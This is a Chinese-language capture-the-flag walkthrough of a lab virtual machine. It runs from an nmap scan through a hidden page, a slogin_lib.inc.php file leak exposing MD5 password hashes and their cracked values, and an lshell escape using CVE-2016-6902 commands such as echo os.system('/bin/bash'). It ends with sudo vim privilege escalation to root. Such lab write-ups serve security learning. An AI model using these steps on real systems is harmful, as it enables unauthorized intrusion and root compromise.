这个靶机真的很烦,有入侵检测系统的,动不动就连不上了TAT
不要扫描!!
不要尝试远程文件包含!!
万一连不上了,那就重启靶机吧……
nmap扫描----根据网页和注释中的各种提示找到developmentsecretpage----利用Simple Text-File Login script(slogin_lib.inc.php)的敏感信息泄露获得用户ssh密码----绕过Lshell----vim/nano sudo提权
靶机:192.168.101.79
攻击机:192.168.101.34
sudo nmap -sV -sC -p- 192.168.101.79
发现TCP端口22(ssh)、113(不知道啥)、139和445(smb相关)、8080(http)
浏览器访问http://192.168.101.79:8080/看到下面的页面
其中有两个重要的提示:
1、可以在html_pages看到部分项目
There are many projects in this box. View some of these projects at html_pages.
2、靶机有入侵检测系统。这就是扫描、远程文件包含、ssh用户登录失败导致靶机无法连接的原因。
WARNING! We are experimenting a host-based intrusion detection system. Report all false positives to patrick@goodtech.com.sg.
查看网页源代码,发现注释中提示寻找development secret page,还发现一个人名Patrick
<!-- Searching for development secret page... where could it be? -->
<!-- Patrick, Head of Development-->
浏览器访问http://192.168.101.79:8080/html_pages,发现一些文件名
其中http://192.168.101.79:8080/about.html包含另一个人名David(后来发现没啥用)
浏览器访问http://192.168.101.79:8080/development.html,并查看网页源代码,发现注释中提供了development secret page的路径./developmentsecretpage
<!-- You tried harder! Visit ./developmentsecretpage. -->
浏览器访问http://192.168.101.79:8080/developmentsecretpage/
点击Patrick's来到http://192.168.101.79:8080/developmentsecretpage/patrick.php
点击sitemap来到http://192.168.101.79:8080/developmentsecretpage/sitemap.php
点击Click here to log out来到一个登录页面http://192.168.101.79:8080/developmentsecretpage/sitemap.php?logout=1
随便输入用户名和密码,点Enter,发现下图前两行所示报错信息,表明登录服务用到了slogin_lib.inc.php
google搜索slogin_lib.inc.php,发现已知漏洞
根据该敏感信息泄露漏洞描述,在浏览器中访问http://192.168.101.79:8080/developmentsecretpage/slog_users.txt
发现4个用户名和md5加密的密码
admin, 3cb1d13bb83ffff2defe8d1443d3a0eb
intern, 4a8a2b374f463b7aedbb44a066363b81
patrick, 87e6d56ce79af90dbe07d387d3d0579e
qiu, ee64497098d0926d198f54f6d5431f98
在网站MD5免费在线解密破解_MD5在线加密-SOMD5进行解密,admin的密码解不出来,其他三组用户名密码如下
intern 12345678900987654321
patrick P@ssw0rd25
qiu qiu
分别尝试用这三个用户进行ssh登录,只有intern可以登录
ssh intern@192.168.101.79
intern登录之后发现只能执行上图中的几个命令
google搜索 cd clear echo exit help ll lpath ls 发现是Lshell,并搜索到多种Lshell的绕过方式,
比如下面两条命令都可以
- echo os.system('/bin/bash')
- echo && 'bash'
(绕过Lshell后输入env查看SHELL参数值,发现果然是lshell)
Lshell绕过方法和漏洞原因详见
#834949 - lshell: CVE-2016-6902: Shell outbreak due to bad syntax parse - Debian Bug report logs
python - Why does "echo os.system('/bin/bash')" work? - Unix & Linux Stack Exchange
进入到/home目录发现除了intern还有用户admin和patrick
admin的密码不知道,patrick的密码是知道的(步骤3),用su命令切换到patrick
su - patrick
执行sudo -l
发现patrick可以sudo执行vim和nano,这两个命令都可以sudo提权
vim提权方法如该网页所示vim | GTFOBins
命令行输入
sudo vim -c ':!/bin/bash'
即可得到root的shell
nano提权方法见nano | GTFOBins
由于分了好几步,就不每步都截图了,最后效果如下图所示